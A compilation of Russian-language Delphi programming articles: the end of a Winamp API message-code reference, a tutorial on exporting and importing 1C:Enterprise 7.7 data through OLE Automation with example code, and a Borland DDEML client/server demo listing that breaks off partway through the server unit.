104 Returns the status of playback. If 'ret' is 1, Winamp is playing. If 'ret' is 3, Winamp is paused. Otherwise, playback is stopped.
105 If data is 0, returns the position in milliseconds of playback. If data is 1, returns current track length in seconds. Returns -1 if not playing or if an error occurs.
106 Seeks within the current track. The offset is specified in 'data', in milliseconds.
120 Writes out the current playlist to Winampdir\winamp.m3u, and returns the current position in the playlist.
121 Sets the playlist position to the position specified in tracks in 'data'.
122 Sets the volume to 'data', which can be between 0 (silent) and 255 (maximum).
123 Sets the panning to 'data', which can be between 0 (all left) and 255 (all right).
124 Returns length of the current playlist, in tracks.
125 Returns the position in the current playlist, in tracks (requires Winamp 2.05+).
126 Retrieves info about the current playing track. Returns samplerate (i.e. 44100) if 'data' is set to 0, bitrate if 'data' is set to 1, and number of channels if 'data' is set to 2. (requires Winamp 2.05+)
127 Retrieves one element of equalizer data, based on what 'data' is set to. 0-9 The 10 bands of EQ data. Will return 0-63 (+20db - -20db) 10 The preamp value. Will return 0-63 (+20db - -20db) 11 Enabled. Will return zero if disabled, nonzero if enabled.
128 Autoload. Will return zero if disabled, nonzero if enabled. To set an element of equalizer data, simply query which item you wish to set using the message above (127), then call this message with data
129 Adds the specified file to the Winamp bookmark list
135 Restarts Winamp
200 Sets the current skin. 'data' points to a string that describes what skin to load, which can either be a directory or a .zip file. If no directory name is specified, the default Winamp skin directory is assumed.
201 Retrieves the current skin directory and/or name. 'ret' is a pointer to the Skin name (or NULL if error), and if 'data' is non-NULL, it must point to a string 260 bytes long, which will receive the pathname to where the skin bitmaps are stored (which can be either a skin directory, or a temporary directory when zipped skins are used) (Requires Winamp 2.04+).
202 Selects and executes a visualization plug-in. 'data' points to a string which defines which plug-in to execute. The string can be in the following formats: vis_whatever.dll Executes the default module in vis_whatever.dll in your plug-ins directory. vis_whatever.dll,1 executes the second module in vis_whatever.dll C:\path\vis_whatever.dll,1 executes the second module in vis_whatever.dll in another directory
211 Retrieves (and returns a pointer in 'ret') a string that contains the filename of a playlist entry (indexed by 'data'). Returns NULL if error, or if 'data' is out of range.
212 Retrieves (and returns a pointer in 'ret') a string that contains the title of a playlist entry (indexed by 'data'). Returns NULL if error, or if 'data' is out of range.
241 Opens an new URL in the minibrowser. If the URL is NULL it will open the Minibrowser window
242 Returns 1 if the internet connecton is available for Winamp
243 Asks Winamp to update the information about the current title
245 Sets the current playlist item
246 Retrives the current Minibrowser URL into the buffer.
247 Flushes the playlist cache buffer
248 Blocks the Minibrowser from updates if value is set to 1
249 Opens an new URL in the minibrowser (like 241) except that it will work even if 248 is set to 1
250 Returns the status of the shuffle option (1 if set)
251 Returns the status of the repeat option (1 if set)
252 Sets the status of the suffle option (1 to turn it on)
253 Sets the status of the repeat option (1 to turn it on)

Приятного Вам прослушивания музыки !!!

Взято с http://delphiworld.narod.ru


Delphi и 1C - экспорт и импорт

Автор: Александр Авдошин
Специально для Королевства Delphi

Довольно часто перед программистами, работающими в небольших компаниях, стоит проблема импорта данных из программы "1С:Предприятие", или экспорта в нее же. Причин тому может быть множество - например, желание автоматизировать обновление прайс-листа на веб-страничке компании на основании реальных данных, или же автоматизация ввода первичных документов, отправляемых по электронной почте компанией-поставщиком. Какая бы задача подобного рода ни стояла перед программистом, она, как правило, успешно решается с помощью связки Delphi-1C. В этой статье я хотел бы дать рекомендации и разъяснить некоторые аспекты использования механизма OLE Automation применительно к программе "1С:Предприятие версия 7.7".

Перед прочтением статьи я настоятельно рекомендую Вам ознакомиться с книгой "Delphi 4 Unleashed" Чарльза Калверта и с главой "Связь с внешними приложениями посредством механизмов DDE и OLE Automation" книги "1С:Предприятие 7.7 Описание встроенного языка". Также я предполагаю, что вы имеете опыт программирования как в среде Delphi, так и в среде "1С:Предприятие".

Первые шаги

Ну, во-первых, прежде чем использовать все возможности программы "1С:Предприятие", необходимо сначала создать соответствующий OLE-объект. Идентификатор этого OLE-объекта зависит от версии и типа установленной программы "1С:Предприятие":

V1CEnterprise.Application - версия независимый ключ
V77.Application - версия зависимый ключ
V77S.Application - версия зависимый ключ, SQL-версия
V77L.Application - версия зависимый ключ, локальная версия
V77M.Application - версия зависимый ключ, сетевая версия
Например, создадим OLE-объект для сервера "1С:Предприятие". Для простоты создадим объект без привязки к конкретной версии и типу программы:

procedure TForm1.Create1C;
var
  onesobj: Olevariant;
begin
  onesobj := createoleobject('V1CEnterprise.Application');
end;

Затем мы должны проинициализировать систему методом Initialize, имеющим следующие параметры:

Initialize(<Имя_Объекта>.RMTrade,<КоманднаяСтрока>,<ПустаяСтрока>), где:
<Имя_Объекта> - Идентификатор созданного OLE объекта
<КоманднаяСтрока> - Строковое выражение - командная строка запуска
<ПустаяСтрока> - Строковое выражение. Может содержать пустую строку или строковое значение "NO_SPLASH_SHOW" - отключить заставку при запуске системы.

Метод Initialize возвратит значение логического типа: TRUE, если инициализация прошла удачно, или FALSE в противном случае. Следует иметь в виду, что в OLE Automation TRUE и FALSE имеют соответственно значения -1 (минус единица) и 0.

Параметры командной строки запуска подробно описаны в руководстве к программе "1С:Предприятие", здесь же я приведу лишь те, которые могут оказаться вам полезными:
/DПуть к базе - задает путь к базе программы.
/M - запуск программы в монопольном режиме
/NИмя пользователя
/PПароль - пароль указанного пользователя

Параметры, не указанные в командной строке, будут запрошены программой в диалоговом режиме.

Например, инициализация программы в монопольном режиме с явным указанием пути к базе данных (D:\buh2001test), имени пользователя (Саша) и пароля (12345) без вывода на экран заставки выполняется следующим образом (здесь и далее подразумевается, что объект onesobj уже создан оператором createoleobject):

onesobj.initialize(onesobj.rmtrade,'/DD:\buh2001test /M /NСаша /P12345','NO_SPLASH_SHOW');

В отличие от, например, OLE Automation-сервера приложения Microsoft Excel, сервер программы "1С-Предприятие" запускается в режиме "hide", то есть рабочее окно программы не отображается на экране.

Для использования созданного и проинициализированного объекта необходимо просто обращаться к атрибутам и методам системы 1С:Предприятие как OLE Automation сервера.

Для завершения работы с программой необходимо освободить OLE-объект путем присвоения ему значения UnAssigned:

onesobj := UnAssigned;

Впрочем, это необязательно, так как при закрытии вашего приложения OLE-объект будет освобожден автоматически.

Просуммируем полученные знания: создадим OLE-объект "1С:Предприятие", проинициализируем его и корректно освободим:

procedure TForm1.Create1C;
var
  onesobj: Olevariant;
begin
  onesobj := createoleobject('V1CEnterprise.Application');
  onesobj.initialize(onesobj.rmtrade,
    '/DD:\buh2001test /M /NСаша /P12345', 'NO_SPLASH_SHOW');
  onesobj := UnAssigned;
end;

Как работать с полученным объектом

Резонный вопрос. Собственно, ради этого все и затевалось, не так ли? :) На самом деле, все очень просто. После того, как мы создали и проинициализировали OLE-объект, работать с ним можно следующим образом:

С помощью метода EvalExpr(<СтрокаВыражения>)
Метод EvalExpr вычисляет выражение, записанное параметре <СтрокаВыражения> на встроенном языке 1С:Предприятие и возвращает результат вычисления. Результатом выражения может быть число, строка, дата или значение любого агрегатного типа данных.
С помощью метода CreateObject(<ИмяАгрегатногоТипа>)
Метод CreateObject создает объект агрегатного типа данных системы 1С:Предприятие и возвращает ссылку на него. Данная функция обычно используется одновременно с явным определением переменной типа OLEVariant и присвоением ей ссылки на объект агрегатного типа данных.
С помощью метода ExecuteBatch(<СтрокаОператоров>)
Метод ExecuteBatch выполняет последовательность операторов, записанную в параметре <СтрокаОператоров> на встроенном языке 1С:Предприятие. Метод возвращает -1, если последовательность операторов выполнена успешно, или 0 в противном случае.
Вызовом атрибутов и методов системы 1С:Предприятие как OLE Automation сервера

Здесь есть несколько подводных камней, о которых я сразу хочу предупредить:

При вызове атрибутов и методов системы 1С:Предприятие необходимо использовать их англоязычные синонимы (они указаны для каждого метода в книге "Описание встроенного языка")
Для создаваемого агрегатного типа данных в среде Delphi необходимо завести переменную типа OLEVariant
В случае, если вызываемый метод OLE-объекта не требует параметров (либо один из параметров является необязательным), в качестве параметра ему необходимо передавать EmptyParam (либо - для Delphi 3 - пустую строку).
Для обращения к русскоязычным идентификаторам объектов агрегатных типов (например, реквизитов справочников) следует использовать метод объекта агрегатного типа getattrib(<ИмяАтрибута>) для получения значения атрибута, и setattrib(<ИмяАтрибута>) для установки значения.
Для комплексной иллюстрации всего вышеописанного я приведу пример, в котором содержимое справочника "Номенклатура" целиком экспортируется в таблицу базы данных (в примере подразумевается, что уже создана таблица table1, поля которой адекватны справочнику. Таблица table2 ссылается на ту же физическую таблицу, что и table1, и служит лишь для поиска уже добавленных элементов):

procedure TForm1.exportsprav;
var
  counter: integer; //Счетчик импортированных записей
  onesobj: Olevariant; //OLE-объект программы 1С:Предприятие
  ware, ware2: olevariant; //Агрегатные объекты
  val, edizm, nds, np: olevariant;
  pf: integer; //Промежуточные переменные
begin
  table1.open; //Открываем таблицу1
  table2.open; //Открываем таблицу2
  counter := 0; //Обнуляем счетчик записей
  onesobj := createoleobject('V1CEnterprise.Application'); //Создаем OLE-объект
    //Инициализируем объект
  onesobj.initialize(onesobj.rmtrade, '/DD:\buh2001test /M /NСаша /P12345', 'NO_SPLASH_SHOW');
    //Создаем необходимые агрегатные объекты
  ware := onesobj.createobject('Справочник.Номенклатура');
  ware2 := onesobj.createobject('Справочник.Номенклатура');
  edizm := onesobj.createobject('Справочник.ЕдиницыИзмерений');
  nds := onesobj.createobject('Справочник.СтавкиНДС');
  np := onesobj.createobject('Справочник.СтавкиНП');
  ware.selectgroup(1); //Устанавливаем режим выборки групп
  ware.selectitems(1); //Открываем выборку элементов справочника
  while ware.GetItem(1) > 0 do //Выбираем все элементы
  begin
    if ware.level('') = 1 then //Если мы выбрали группу первого уровня, то
      pf := -1
    else
    begin
            //Иначе ищем элемент-родитель
      ware2.FindItem(ware.getattrib('Родитель'));
      if table2.findkey([ware2.getattrib('Код')]) then
                //Если этот элемент мы уже импортировали
        pf := table2.fieldbyname('ID').AsInteger //, то получаем его код
      else
        pf := -1; //иначе помещаем элемент в группу первого уровня
    end;
    if ware.deletemark('') = 0 then //Если элемент не удален, то
    begin
      table1.append; //добавляем новое поле к таблице
            //Заполняем поля таблицы значениями соответствующих атрибутов элемента справочника
      table1.fieldbyname('CODE_1S').AsInteger := ware.getAttrib('Код');
            //Заполняем поле наименования
      table1.fieldbyname('NAME').AsString := ware.getAttrib('Наименование');
      table1.fieldbyname('PARENT_FOLDER').AsInteger := pf;
      table1.fieldbyname('FULLNAME').AsString := ware.getAttrib('ПолнНаименование');
            //Ищем соответствующую запись в справочнике "единицы измерения"
      edizm.finditem(ware.getattrib('ЕдиницаИзмерения'));
            //Заполняем поле единицы измерения
      table1.fieldbyname('EDIZM').AsString := edizm.getattrib('Наименование');
            //так мы получаем значения периодических реквизитов
      table1.fieldbyname('SEBESTOIM').AsFloat :=
        ware.getAttrib('Себестоимость').GetValue(datetostr(now));
      table1.fieldbyname('PRICEOPT').AsFloat := ware.getAttrib('Цена');
      nds.finditem(ware.getAttrib('СтавкаНДС').GetValue(datetostr(now)));
      np.finditem(ware.getAttrib('СтавкаНП').GetValue(datetostr(now)));
            //Заполняем поле ставки НДС
      table1.fieldbyname('STNDS').AsFloat := nds.getAttrib('Ставка');
            //Заполняем поле ставки НП
      table1.fieldbyname('STNP').AsFloat := np.getAttrib('Ставка');
      table1.fieldbyname('ARTICUL').AsString := ware.getAttrib('Артикул');
      if Ware.IsGroup('') = 1 then //Если мы выбрали группу товара, то
        table1.fieldbyname('IS_FOLDER').AsInteger := 1
      else
        table1.fieldbyname('IS_FOLDER').AsInteger := 0;
      table1.post;
      table2.refresh;
    end;
    inc(counter);
  end;
end;

Заключение

К сожалению, невозможно вместить в одну статью всю информацию, которая была бы вам полезна. Я постарался дать лишь тот минимум, который необходим для получения некоторых базовых знаний, и способен стать фундаментом для ваших собственных маленьких открытий в области интеграции Delphi и "1С:Предприятие".

Пишите мне, задавайте вопросы, и вполне возможно, что вскоре появится продолжение статьи.

Взято с http://delphiworld.narod.ru


DDE

Cодержание раздела:

Как можно работать с DDE?
Динамический обмен данными (DDE) New!
DDE (статья) New!


Как можно работать с DDE?

Как можно работать с DDE под Delphi, используя вызовы API

Кстати, достаточно легко: следующий пример демонстрирует как можно научить общаться клиентскую программу с программой-сервером. Обе программы полностью созданы на Delphi. В итоге мы имеет 2 проекта, 3 формы и 3 модуля. Для работы с DDE-запросами данный пример использует методы DDE ML API.

Сервер должен начать свою работу перед тем, как клиент будет загружен. Данный пример демонстрирует 3 способа взаимодействия между клиентом и сервером:

Клиент может "пропихивать" (POKE) данные на сервер.
Сервер может автоматически передавать данные клиенту, после чего клиент обновляет свой вид на основе результатов, полученных от сервера.
Данные сервера изменяются, после чего клиент делает запрос серверу для получения новых данных и обновляет свой вид.
Как работает программа.
Ниже приведены 8 файлов, сконкатенированных в единое целое. Каждый файл имеет следующую структуру:
{ *** НАЧАЛО КОДА FILENAME.EXT *** } КОД { *** КОНЕЦ КОДА FILENAME.EXT *** },
поэтому вам остается всего-лишь взять код, расположенный между маркерами { *** }, скопировать в файл с соответствующим именем, и собрать оба проекта в среде Delphi

{ *** НАЧАЛО КОДА DDEMLCLI.DPR *** }
program Ddemlcli;

uses

  Forms,
  Ddemlclu in 'DDEMLCLU.PAS' {Form1};

{$R *.RES}

begin

  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.
{ ***  КОНЕЦ КОДА DDEMLCLI.DPR *** }

{ *** НАЧАЛО КОДА DDEMLCLU.DFM *** }
object Form1: TForm1

  Left = 197
    Top = 95
    Width = 413
    Height = 287
    HorzScrollBar.Visible = False
    VertScrollBar.Visible = False
    Caption = 'Демонстрация DDEML, Клиентское приложение'
    Font.Color = clWindowText
    Font.Height = -13
    Font.Name = 'System'
    Font.Style = []
    Menu = MainMenu1
    PixelsPerInch = 96
    OnCreate = FormCreate
    OnDestroy = FormDestroy
    OnShow = FormShow
    TextHeight = 16
    object PaintBox1: TPaintBox
    Left = 0
      Top = 0
      Width = 405
      Height = 241
      Align = alClient
      Color = clWhite
      ParentColor = False
      OnPaint = PaintBox1Paint
  end
  object MainMenu1: TMainMenu
    Top = 208
      object File1: TMenuItem
      Caption = '&Файл'
        object exit1: TMenuItem
        Caption = 'В&ыход'
          OnClick = exit1Click
      end
    end
    object DDE1: TMenuItem
      Caption = '&DDE'
        object RequestUpdate1: TMenuItem
        Caption = '&Запрос на обновление'
          OnClick = RequestUpdate1Click
      end
      object AdviseofChanges1: TMenuItem
        Caption = '&Сообщение об изменениях'
          OnClick = AdviseofChanges1Click
      end
      object N1: TMenuItem
        Caption = '-'
      end
      object PokeSomeData: TMenuItem
        Caption = '&Пропихивание данных'
          OnClick = PokeSomeDataClick
      end
    end
  end
end
{ ***  КОНЕЦ КОДА DDEMLCLU.DFM *** }

{ *** НАЧАЛО КОДА DDEMLCLU.PAS *** }
{***************************************************}
{                                                   }
{   Delphi 1.0 DDEML Демонстрационная программа     }
{   Copyright (c) 1996 by Borland International     }
{                                                   }
{***************************************************}

{ Это демонстрационное приложение, демонстрирующее использование
DDEML API в клиентском приложении. Оно использует серверное
приложение DataEntry, которое является частью данной демонстрации,
и служит для ввода данных и отображения их на графической панели.

Сначала вы должны запустить приложение-сервер (в DDEMLSRV.PAS),
а затем стартовать клиента. Если сервер не запущен, клиент при
попытке соединения потерпит неудачу.

Интерфейс сервера определен списком имен (Service, Topic и Items)
в отдельном модуле с именем DataEntry (DATAENTR.TPU). Сервер
делает Items доступными в формате cf_Text; они преобразовываются
и хранятся локально как целые. }

unit Ddemlclu;

interface

uses

  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, VBXCtrl, ExtCtrls, DDEML, Menus, StdCtrls;

const

  NumValues = 3;

type

  { Структура данных, представленная в примере }
  TDataSample = array[1..NumValues] of Integer;
  TDataString = array[0..20] of Char; { Размер элемента как текста }

  { Главная форма }
  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    exit1: TMenuItem;
    DDE1: TMenuItem;
    RequestUpdate1: TMenuItem;
    AdviseofChanges1: TMenuItem;
    PokeSomeData: TMenuItem;
    N1: TMenuItem;
    PaintBox1: TPaintBox;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure RequestUpdate1Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure AdviseofChanges1Click(Sender: TObject);
    procedure PokeSomeDataClick(Sender: TObject);

    procedure Request(HConversation: HConv);
    procedure exit1Click(Sender: TObject);
    procedure PaintBox1Paint(Sender: TObject);

  private
    { Private declarations }
  public
    Inst: Longint;
    CallBackPtr: ^TCallback;
    ServiceHSz: HSz;
    TopicHSz: HSz;
    ItemHSz: array[1..NumValues] of HSz;
    ConvHdl: HConv;

    DataSample: TDataSample;
  end;

var
  Form1: TForm1;

implementation

const

  DataEntryName: PChar = 'DataEntry';
  DataTopicName: PChar = 'SampledData';
  DataItemNames: array[1..NumValues] of pChar = ('DataItem1',
    'DataItem2',
    'DataItem3');
{$R *.DFM}

  { Локальная функция: Процедура обратного вызова для DDEML }

function CallbackProc(CallType, Fmt: Word; Conv: HConv; hsz1, hsz2: HSZ;

  Data: HDDEData; Data1, Data2: Longint): HDDEData; export;
begin

  CallbackProc := 0; { В противном случае смотрите доказательство }

  case CallType of
    xtyp_Register:
      begin
        { Ничего ... Просто возвращаем 0 }
      end;
    xtyp_Unregister:
      begin
        { Ничего ... Просто возвращаем 0 }
      end;
    xtyp_xAct_Complete:
      begin
        { Ничего ... Просто возвращаем 0 }
      end;
    xtyp_Request, Xtyp_AdvData:
      begin
        Form1.Request(Conv);
        CallbackProc := dde_FAck;
      end;
    xtyp_Disconnect:
      begin
        ShowMessage('Соединение разорвано!');
        Form1.Close;
      end;
  end;
end;

{ Посылка DDE запроса для получения cf_Text данных с сервера.
Запрашиваем данные для всех полей DataSample, и обновляем
окно для их отображения. Данные с сервера получаем синхронно,
используя DdeClientTransaction.}

procedure TForm1.Request(HConversation: HConv);
var

  hDdeTemp: HDDEData;
  DataStr: TDataString;
  Err, I: Integer;
begin

  if HConversation <> 0 then
  begin
    for I := Low(ItemHSz) to High(ItemHSz) do
    begin
      hDdeTemp := DdeClientTransaction(nil, 0, HConversation, ItemHSz[I],
        cf_Text, xtyp_Request, 0, nil);
      if hDdeTemp <> 0 then
      begin
        DdeGetData(hDdeTemp, @DataStr, SizeOf(DataStr), 0);
        Val(DataStr, DataSample[I], Err);
      end; { if }
    end; { for }
    Paintbox1.Refresh; { Обновляем экран }
  end; { if }
end;

procedure TForm1.FormCreate(Sender: TObject);
var

  I: Integer;
  { Создаем экземпляр окна DDE-клиента. Создаем окно, используя
  унаследованный конструктор, инициализируем экземпляр данных.}
begin

  Inst := 0; { Должен быть нулем для первого вызова DdeInitialize }
  CallBackPtr := nil; { MakeProcInstance вызывается из SetupWindow    }
  ConvHdl := 0;
  ServiceHSz := 0;
  TopicHSz := 0;
  for I := Low(DataSample) to High(DataSample) do
  begin
    ItemHSz[I] := 0;
    DataSample[I] := 0;
  end;
end;

procedure TForm1.FormDestroy(Sender: TObject);
{ Уничтожаем экземпляр клиентского окна. Освобождаем дескрипторы
DDE строк, и освобождаем экземпляр функции обратного вызова,
если она существует. Также, для завершения диалога, вызовите
DdeUninitialize. Затем, для завершения работы, вызовите
разрушителя предка. }
var
  I: Integer;
begin

  if ServiceHSz <> 0 then
    DdeFreeStringHandle(Inst, ServiceHSz);
  if TopicHSz <> 0 then
    DdeFreeStringHandle(Inst, TopicHSz);
  for I := Low(ItemHSz) to High(ItemHSz) do
    if ItemHSz[I] <> 0 then
      DdeFreeStringHandle(Inst, ItemHSz[I]);

  if Inst <> 0 then
    DdeUninitialize(Inst); { Игнорируем возвращаемое значение }

  if CallBackPtr <> nil then
    FreeProcInstance(CallBackPtr);
end;

procedure TForm1.RequestUpdate1Click(Sender: TObject);
begin
  { Генерируем запрос DDE в ответ на выбор пункта меню DDE | Request.}

  Request(ConvHdl);
end;

procedure TForm1.FormShow(Sender: TObject);
{ Завершаем инициализацию окна сервера DDE. Выполняем те действия,
которые требует правильное окно. Инициализируем использование DDEML. }
var

  I: Integer;
  InitOK: Boolean;
begin

  CallBackPtr := MakeProcInstance(@CallBackProc, HInstance);

  { Инициализируем DDE и устанавливаем функцию обратного вызова.
  Если сервер отсутствует, вызов терпит неудачу. }

  if CallBackPtr <> nil then
  begin
    if DdeInitialize(Inst, TCallback(CallBackPtr), AppCmd_ClientOnly,
      0) = dmlErr_No_Error then
    begin
      ServiceHSz := DdeCreateStringHandle(Inst, DataEntryName, cp_WinAnsi);
      TopicHSz := DdeCreateStringHandle(Inst, DataTopicName, cp_WinAnsi);
      InitOK := True;
      {     for I := Low(DataItemNames) to High(DataItemNames) do begin }

      for I := 1 to NumValues do
      begin
        ItemHSz[I] := DdeCreateStringHandle(Inst, DataItemNames[I],
          cp_WinAnsi);
        InitOK := InitOK and (ItemHSz[I] <> 0);
      end;

      if (ServiceHSz <> 0) and (TopicHSz <> 0) and InitOK then
      begin
        ConvHdl := DdeConnect(Inst, ServiceHSz, TopicHSz, nil);
        if ConvHdl = 0 then
        begin
          ShowMessage('Не могу инициализировать диалог!');
          Close;
        end
      end
      else
      begin
        ShowMessage('Не могу создать строки!');
        Close;
      end
    end
    else
    begin
      ShowMessage('Не могу осуществить инициализацию!');
      Close;
    end;
  end;
end;

procedure TForm1.AdviseofChanges1Click(Sender: TObject);
{ Переключаемся на режим DDE Advise с помощью пункта меню DDE |
Advise (уведомление). При выборе этого пункта меню все три
элемента переключаются на уведомление. }
var

  I: Integer;
  TransType: Word;
  TempResult: Longint;
begin

  with TMenuITem(Sender) do
  begin
    Checked := not Checked;
    if Checked then
      TransType := (xtyp_AdvStart or xtypf_AckReq)
    else
      TransType := xtyp_AdvStop;
  end; { with }

  for I := Low(ItemHSz) to High(ItemHSz) do
    if DdeClientTransaction(nil, 0, ConvHdl, ItemHSz[I], cf_Text,
      TransType, 1000, @TempResult) = 0 then
      ShowMessage('Не могу выполнить транзакцию-уведомление');

  if TransType and xtyp_AdvStart <> 0 then
    Request(ConvHdl);
end;

procedure TForm1.PokeSomeDataClick(Sender: TObject);
{ Генерируем DDE-Poke транзакцию в ответ на выбор пункта
меню DDE | Poke. Запрашиваем значение у пользователя,
которое будем "проталкивать" в DataItem1 в качестве
иллюстрации Poke-функции.}
var

  DataStr: pChar;
  S: string;
begin

  S := '0';
  if InputQuery('PokeData', 'Задайте проталкиваемую (Poke) величину', S) then
  begin
    S := S + #0;
    DataStr := @S[1];
    DdeClientTransaction(DataStr, StrLen(DataStr) + 1, ConvHdl,
      ItemHSz[1], cf_Text, xtyp_Poke, 1000, nil);
    Request(ConvHdl);
  end;
end;

procedure TForm1.exit1Click(Sender: TObject);
begin

  close;
end;

procedure TForm1.PaintBox1Paint(Sender: TObject);
{ После запроса обновляем окно. Рисуем график объема текущих продаж.}
const

  LMarg = 30; { Левое поле графика }
var

  I,
    Norm: Integer;
  Wd: Integer;
  Step: Integer;

  ARect: TRect;

begin

  Norm := 0;
  for I := Low(DataSample) to High(DataSample) do
  begin
    if abs(DataSample[I]) > Norm then
      Norm := abs(DataSample[I]);
  end; { for }

  if Norm = 0 then
    Norm := 1; { В случае если у нас все нули }

  with TPaintBox(Sender).Canvas do
  begin
    { Рисуем задний фон }
    Brush.color := clWhite;
    FillRect(ClipRect);

    { Рисуем ось }
    MoveTo(0, ClipRect.Bottom div 2);
    LineTo(ClipRect.Right, ClipRect.Bottom div 2);

    MoveTo(LMarg, 0);
    LineTo(LMarg, ClipRect.Bottom);

    { Печатаем текст левого поля }
    TextOut(0, 0, IntToStr(Norm));
    TextOut(0, ClipRect.Bottom div 2, '0');
    TextOut(0, ClipRect.Bottom + Font.Height, IntToStr(-Norm));

    TextOut(0, ClipRect.Bottom div 2, '0');
    TextOut(0, ClipRect.Bottom div 2, '0');
    TextOut(0, ClipRect.Bottom div 2, '0');
    { Печатаем текст оси X }

    { Теперь рисуем бары на основе нормализованного значения.
    Вычисляем ширину баров (чтобы они все вместились в окне)
    и ширину пробела между ними, который приблизительно равен
    20% от их ширины. }

    {        SelectObject(PaintDC, CreateSolidBrush(RGB(255, 0, 0)));

    SetBkMode(PaintDC, Transparent);
    }

    ARect := ClipRect;
    Wd := (ARect.Right - LMarg) div NumValues;
    Step := Wd div 5;
    Wd := Wd - Step;
    with ARect do
    begin
      Left := LMarg + (Step div 2);
      Top := ClipRect.Bottom div 2;
    end; { with }

    { Выводим бары и текст для оси X }
    for i := Low(DataSample) to High(DataSample) do
    begin
      with ARect do
      begin
        Right := Left + Wd;
        Bottom := Top - Round((Top - 5) * (DataSample[I] / Norm));
      end; { with }
      { Заполняем бар }
      Brush.color := clFuchsia;
      FillRect(ARect);
      { Выводим текст для горизонтальной оси }
      Brush.color := clWhite;
      TextOut(ARect.Left, ClipRect.Bottom div 2 - Font.Height,
        StrPas(DataItemNames[i]));
      with ARect do
        Left := Left + Wd + Step;
    end; { for }
  end; { with }
end;
end. { ***  КОНЕЦ КОДА DDEMLCLU.PAS *** }

{ *** НАЧАЛО КОДА DDEMLSVR.DPR *** }
program Ddemlsvr;

uses

  Forms,
  Ddesvru in 'DDESVRU.PAS' {Form1},
  Ddedlg in '\DELPHI\BIN\DDEDLG.PAS' {DataEntry};

{$R *.RES}

begin

  Application.CreateForm(TForm1, Form1);
  Application.CreateForm(TDataEntry, DataEntry);
  Application.Run;
end.
{ ***  КОНЕЦ КОДА DDEMLSVR.DPR *** }

{ *** НАЧАЛО КОДА DDESVRU.DFM *** }
object Form1: TForm1

  Left = 712
    Top = 98
    Width = 307
    Height = 162
    Caption = 'Демонстрация DDEML, Серверное приложение'
    Color = clWhite
    Font.Color = clWindowText
    Font.Height = -13
    Font.Name = 'System'
    Font.Style = []
    Menu = MainMenu1
    PixelsPerInch = 96
    OnCreate = FormCreate
    OnDestroy = FormDestroy
    OnShow = FormShow
    TextHeight = 16
    object Label1: TLabel
    Left = 0
      Top = 0
      Width = 99
      Height = 16
      Caption = 'Текущие значения:'
  end
  object Label2: TLabel
    Left = 16
      Top = 24
      Width = 74
      Height = 16
      Caption = 'Data Item1:'
  end
  object Label3: TLabel
    Left = 16
      Top = 40
      Width = 74
      Height = 16
      Caption = 'Data Item2:'
  end
  object Label4: TLabel
    Left = 16
      Top = 56
      Width = 74
      Height = 16
      Caption = 'Data Item3:'
  end
  object Label5: TLabel
    Left = 0
      Top = 88
      Width = 265
      Height = 16
      Caption = 'Выбор данных | Ввод данных для изменения значений.'
  end
  object Label6: TLabel
    Left = 96
      Top = 24
      Width = 8
      Height = 16
      Caption = '0'
  end
  object Label7: TLabel
    Left = 96
      Top = 40
      Width = 8
      Height = 16
      Caption = '0'
  end
  object Label8: TLabel
    Left = 96
      Top = 56
      Width = 8
      Height = 16
      Caption = '0'
  end
  object MainMenu1: TMainMenu
    Left = 352
      Top = 24
      object File1: TMenuItem
      Caption = '&Файл'
        object Exit1: TMenuItem
        Caption = '&Выход'
          OnClick = Exit1Click
      end
    end
    object Data1: TMenuItem
      Caption = '&Данные'
        object EnterData1: TMenuItem
        Caption = '&Ввод данных'
          OnClick = EnterData1Click
      end
      object Clear1: TMenuItem
        Caption = '&Очистить'
          OnClick = Clear1Click
      end
    end
  end
end
{ ***  КОНЕЦ КОДА DDESVRU.DFM *** }

{ *** НАЧАЛО КОДА DDESVRU.PAS *** }
{***************************************************}
{                                                   }
{   Delphi 1.0 DDEML Демонстрационная программа     }
{   Copyright (c) 1996 by Borland International     }
{                                                   }
{***************************************************}

{ Данный демонстрационный пример использует библиотеку DDEML
на стороне сервера кооперативного приложения. Данный сервер
является простым приложением для ввода данных и позволяет
оператору осуществлять ввод трех элементов данных, которые
становятся доступными через DDE "заинтересованным" клиентам.

Данный сервер предоставляет свои услуги (сервисы) для данных
со следующими именами:

Service: 'DataEntry'
Topic  : 'SampledData'
Items  : 'DataItem1', 'DataItem2', 'DataItem3'

В-принципе, в качестве сервисов могли бы быть определены
и другие темы. Полезными темами, на наш взгляд, могут быть
исторические даты, информация о сэмплах и пр..

Вы должны запустить этот сервер ПЕРЕД тем как запустите
клиента (DDEMLCLI.PAS), в противном случае клиент не
сможет установить связь.

Интерфейс для этого сервера определен как список имен
(Service, Topic и Items) в отдельном модуле с именем
DataEntry (DATAENTR.TPU). Сервер делает Items доступными
в формате cf_Text; они преобразовываются и хранятся у
клиента локально как целые. }

unit Ddesvru;

interface

uses

  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, Menus,

  DDEML, { DDE APi }
  ShellApi;

const

  NumValues = 3;
  DataItemNames: array[1..NumValues] of PChar = ('DataItem1',
    'DataItem2',
    'DataItem3');
type

  TDataString = array[0..20] of Char; { Размер элемента как текста }
  TDataSample = array[1..NumValues] of Integer;

  {type
  { Структура данных, составляющих образец }
  {  TDataSample = array [1..NumValues] of Integer;
  {  TDataString = array [0..20] of Char;     { Размер элемента как текста }

const

  DataEntryName: PChar = 'DataEntry';
  DataTopicName: PChar = 'SampledData';

type

  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Exit1: TMenuItem;
    Data1: TMenuItem;
    EnterData1: TMenuItem;
    Clear1: TMenuItem;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    procedure Exit1Click(Sender: TObject);

    function MatchTopicAndService(Topic, Service: HSz): Boolean;
    function MatchTopicAndItem(Topic, Item: HSz): Integer;
    function WildConnect(Topic, Service: HSz; ClipFmt: Word): HDDEData;
    function AcceptPoke(Item: HSz; ClipFmt: Word;
      Data: HDDEData): Boolean;
    function DataRequested(TransType: Word; ItemNum: Integer;
      ClipFmt: Word): HDDEData;
